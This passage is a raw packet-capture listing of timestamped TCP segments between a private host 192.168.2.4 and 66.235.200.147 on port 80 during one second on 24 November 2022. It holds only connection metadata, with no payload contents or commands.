Nov 24, 2022 13:27:50.149729013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149766922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149779081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149804115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149840117 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149848938 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149878025 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149914026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.149923086 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.149951935 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150010109 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.150588036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150629044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150665998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150677919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.150702953 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150748968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150753975 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.150787115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150824070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150827885 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.150861979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.150912046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.151664019 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151704073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151738882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151753902 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.151776075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151813030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151823044 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.151850939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151890039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151895046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.151926994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151964903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.151972055 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.152621984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.152662992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.152679920 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.152699947 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.152736902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.152740955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.152776003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.152812004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.152825117 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.152848959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.152888060 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.153561115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153600931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153636932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153645992 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.153675079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153711081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153714895 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.153748035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153786898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153795004 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.153826952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153862953 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.153870106 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.154452085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154551983 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.154674053 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154715061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154752970 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154789925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154792070 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.154827118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154834986 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.154865980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154913902 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.154922962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.154961109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155035973 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.155611038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155652046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155688047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155706882 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.155724049 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155761003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155767918 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.155800104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155842066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155869961 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.155879974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.155930996 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.156573057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156611919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156650066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156661987 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.156687975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156724930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156735897 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.156764030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156800985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156816959 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.156838894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.156899929 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.159337997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162134886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162210941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162242889 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162266016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162271976 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.162288904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162313938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162337065 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162414074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162439108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162461042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162483931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162506104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162528992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.162549019 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163106918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163139105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163156033 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.163170099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163182020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.163201094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163224936 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.163232088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163263083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163285017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.163294077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163324118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.163341999 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.164036989 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164069891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164098978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164118052 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.164129019 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164148092 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.164160013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164190054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164206982 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.164221048 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164251089 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164272070 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.164879084 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164904118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.164949894 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.165106058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165138960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165168047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165184975 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.165198088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165216923 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.165229082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165258884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165275097 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.165291071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165321112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.165342093 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.166366100 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166398048 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166426897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166449070 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.166455984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166482925 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.166486979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166518927 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166547060 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.166548967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166579962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166598082 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.166920900 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166955948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.166986942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167020082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167042017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167072058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167102098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167131901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167155981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167233944 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.167404890 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.167870045 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167922974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167954922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.167984009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168014050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168045044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168064117 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.168073893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168103933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168133974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168149948 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.168164015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168214083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.168272018 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.168829918 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168874025 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168903112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168932915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168947935 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.168962955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.168992043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169012070 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.169020891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169049978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169080973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169100046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.169111013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169157982 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.169213057 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.169747114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169779062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169807911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169837952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.169861078 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.169920921 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.171344042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174706936 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174738884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174767971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174798012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174815893 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.174827099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174838066 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.174858093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174885988 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.174905062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174937963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.174957037 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.174990892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175035954 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.175043106 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175121069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175153017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175163984 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.175182104 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175211906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175240040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175251961 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.175272942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175285101 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.175303936 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175333023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175345898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.175363064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175393105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175409079 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.175421000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175451040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.175462961 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.175971985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176013947 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176043034 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.176043987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176074982 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176101923 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.176105022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176135063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176153898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.176163912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176194906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176211119 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.176224947 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176254034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176270008 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.176285028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176315069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176331997 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.176862955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176928043 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.176928997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176960945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.176990032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177005053 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177018881 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177057028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177066088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177089930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177120924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177141905 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177150965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177182913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177197933 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177212954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177243948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177257061 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177771091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177820921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177846909 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177854061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177886009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177901030 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177917004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177946091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.177959919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.177975893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178004980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178020000 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178035975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178065062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178081036 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178096056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178124905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178141117 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178606033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178677082 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178694010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178725004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178756952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178776026 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178786039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178816080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178827047 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178845882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178888083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178889036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178921938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178961992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.178971052 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.178989887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179018974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179030895 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.179562092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179632902 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.179636002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179666042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179692984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179714918 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.179722071 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179750919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179768085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.179779053 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179807901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179826021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.179835081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179863930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179877996 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.179893017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179920912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.179935932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.180444956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180489063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180520058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.180531979 CET	80	49701	66.235.200.147	192.168.2.4
